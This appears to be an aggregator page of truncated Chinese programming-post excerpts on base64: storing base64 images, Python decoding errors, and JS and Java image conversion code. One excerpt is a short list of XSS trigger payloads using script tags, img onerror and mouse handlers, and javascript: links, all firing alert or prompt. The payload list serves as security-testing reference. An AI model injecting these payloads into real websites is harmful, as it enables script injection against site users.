base64

Is it a good practice to save a base64 string on the Database?

痴心易碎 提交于 2020-01-02 01:21:07
问题 i'm developing an android application when the user can send a image to my webservice. Currently on my WebService i get a Base64 string and save it in a table on my database. My question: Is that a good practice? Because as far as i know the Base64 string is a heavy string. My concern is about the db performance, like when this table gets bigger than 10000...100000 records. Or should i avoid this behavior? Eg.: Isntead off store the Base64 string on the database, i could recover the image and

Decode python base64 String

走远了吗. 提交于 2020-01-02 01:15:12
问题 I have extracted base64 string of forecolor, texture and edgemap values of images, I have a list with following structure: forecolor=AgCEAg4DUQQCBQQGARMBFQE1AmUB edge=AfCAFg5iIATCPwTAEIiBFggBDw forecolor=AgAsAQ0CJAMcDRgOGg8DHQYeBzYBPQ4-DU0ETgNtBm4CfQI I am trying to decode these values, but I am getting Incorrect Padding error, here is the exact error: Traceback (most recent call last): File "ImageVectorData.py", line 44, in <module> print "Decoded String: " + decoded.decode('base64', 'strict

js 图片转换base64 base64转换为file对象

我的梦境 提交于 2020-01-01 23:46:58
function getImgToBase64(url,callback){//将图片转换为Base64 var canvas = document.createElement('canvas'), ctx = canvas.getContext('2d'), img = new Image; img.crossOrigin = 'Anonymous'; img.onload = function(){ canvas.height = img.height; canvas.width = img.width; ctx.drawImage(img,0,0); var dataURL = canvas.toDataURL('image/png'); callback(dataURL); canvas = null; }; img.src = url; } function dataURLtoFile(dataurl, filename) {//将base64转换为文件 var arr = dataurl.split(','), mime = arr[0].match(/:(.*?);/)[1], bstr = atob(arr[1]), n = bstr.length, u8arr = new Uint8Array(n); while(n--){ u8arr[n] = bstr

JAVA 将图片转换为Base64编码

主宰稳场 提交于 2020-01-01 23:46:39
这里使用的jar包是commons-codec-1.10.jar; 示例代码 1 import java.io.FileInputStream; 2 import java.io.FileOutputStream; 3 import java.io.IOException; 4 import java.io.InputStream; 5 import java.io.OutputStream; 6 7 import org.apache.commons.codec.binary.Base64; 8 9 10 /** 11 * 将图片转换为Base64<br> 12 * 将base64编码字符串解码成img图片 13 * @创建时间 2015-06-01 15:50 14 * 15 */ 16 public class Img2Base64Util { 17 18 public static void main(String[] args) { 19 String imgFile = "d:\\3.jpg";//待处理的图片 20 String imgbese=getImgStr(imgFile); 21 System.out.println(imgbese.length()); 22 System.out.println(imgbese); 23 String

js 图片与base64互相转换

两盒软妹~` 提交于 2020-01-01 23:46:25
js将图片转化为base64 参考地址: http://www.cnblogs.com/mr-wuxiansheng/p/6931077.html var img = "imgurl";//imgurl 就是你的图片路径 function getBase64Image(img) { var canvas = document.createElement("canvas"); canvas.width = img.width; canvas.height = img.height; var ctx = canvas.getContext("2d"); ctx.drawImage(img, 0, 0, img.width, img.height); var ext = img.src.substring(img.src.lastIndexOf(".")+1).toLowerCase(); var dataURL = canvas.toDataURL("image/"+ext); return dataURL; } var image = new Image(); image.src = img; image.onload = function(){ var base64 = getBase64Image(image); console.log(base64); }

图片的Base64编码

三世轮回 提交于 2020-01-01 23:46:12
Base64编码是一种图片处理格式,通过特定的算法将图片编码成一长串字符串,在页面上显示的时候,可以用该字符串来代替图片的url属性。 我们可以来看一下实际的效果 Base64编码效果 在上图中,我们可以看出img的src属性开头是data:image/png;base64,这种开头表示的就是Base64编码后的图片格式,鼠标放在src属性上,可以看出实际的图片。 图片采用Base64编码后的字符串非常长,这里截取一部分来看下效果 Base64编码的部分字符串 真实的全部字符串会比这长的多,可能达到几十KB 当然,Base64编码并不只是用在图片处理上,还可以用在URL转换上,比如说我们常见的迅雷以thunder开头的专用地址,就是通过Base64加密处理过后的URL地址,如下图所示 Base64处理后的URL 为何使用Base64编码 存在及必然,那么我们为什么要使用Base64编码呢? 1.其中很重要的一点就是,使用Base64编码可以减少网络请求。 我们都知道,网页上的图片资源如果采用http形式的url的话都会额外发送一次请求,网页发送的http请求次数越多,会造成页面加载速度越慢。而采用Base64格式的编码,将图片转化为字符串后,图片文件会随着html元素一并加载,这样就可以减少http请求的次数,对于网页优化是一种比较好的手段。 2

XSS触发语句小结

▼魔方 西西 提交于 2020-01-01 22:45:34
一、标准语句 <script>alert(/XSS/)</script> 二、尝试大小写 <sCript>alert(1)</scRipt> 三、使用<img>标签 1、windows事件 <img src="x" onerror=alert(1)> <img src="1" onerror=eval("alert('xss')")> //图片加载错误时触发 2、鼠标事件 <img src=1 onmouseover="alert(1)"> //鼠标指针移动到元素时触发 <img src=1 onmouseout="alert(1)"> //鼠标指针移出时触发 四、使用<a>标签 1、使用href属性 <a href="https://www.qq.com">qq</a> <a href=javascript:alert('xss')>test</a> <a href="javascript:a" onmouseover="alert(/xss/)">aa</a> <a href="" onclick=alert('xss')>a</a> <a href="" onclick=eval(alert('xss'))>aa</a> <a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a> 五、使用<input

How to prevent black background when saving a div to png

社会主义新天地 提交于 2020-01-01 22:16:48
问题 I´m using HTML2canvas, filesaver.js and canvas2blob.js to achieve an in-browser save-dialogue. The on-the-fly canvas-creation and saving works fine except the image background is black. The problem is the base64-encoded image of the div with id="drop1" (the user drags and drops an image from his desktop to the html and then that image is put as background as base64). How can I achieve a visible output in the png file? my JS: // save img magic // html2canvas.js linked with filesaver.js and

【Mail】telnet收发邮件过程

淺唱寂寞╮ 提交于 2020-01-01 21:01:06
telnet发送邮件   关于电子邮件的基础知识请参照: 【Mail】邮件的基础知识和原理   smtp协议是一个简单的邮件传输协议,利用它我们可以将邮件发送给别人,这里将通过telnet这个程序利用smtp协议从网易向gmail发送一封邮件   基本步骤如下:     1、使用telnet连接smtp服务器     2、发送一个helo或者ehlo指令     3、验证用户(使用邮件名登陆,用户名和密码要采用base64编码)     4、使用mail命令准备发送邮件     5、使用rcpt命令指定对方邮箱地址     6、使用data命令开始输入内容     7、输入test或者hello world类似字样(即邮件内容)     8、输入邮件内容结束标志.     9、退出smtp服务器   在win环境下,开始 --->运行 --->cmd ,打开命令运行窗口       在命令窗口内,输入一下指令命令,注意用户名和密码要采用base64编码,可以在 http://www.bejson.com/enc/base64/ 网站上进行转码。          发送成功过之后,登录网页邮箱查看      SMTP协议的返回码 telnet接收邮件   POP3 协议类似于 SMTP 协议,它定义了一些命令用于管理邮箱等具体操作,为了能够在 Windows 下使用 telnet

iOS base64 加密解密 通用类

二次信任 提交于 2020-01-01 20:03:28
本文转载自: https://www.cnblogs.com/ygm900/archive/2013/05/15/3079278.html 作者:ygm900 转载请注明该声明。 在使用过程中,直接将被类引入到项目中即可,不需要其它辅助类。 使用示例: 将此通用类的头文件引入到目标类后,直接使用类名进行调用即可。 NSString *str = [NSString stringWithFormat: @" YWE= " ]; NSString *str1 = [NSString stringWithFormat: @" aa " ]; NSLog( @" resultStr========%@ " ,[CommonFunc textFromBase64String:str]); //使用类名进行调用 NSLog( @" resultStr=========%@ " ,[CommonFunc base64StringFromText:str1]); //使用类名进行调用 源码下载: 在项目中遇到字符串的base64编解码,分享一下工具类: CommonFunc.h // // CommonFunc.h // PRJ_base64 // // Created by wangzhipeng on 12-11-29. // Copyright (c) 2012年 com.comsoft.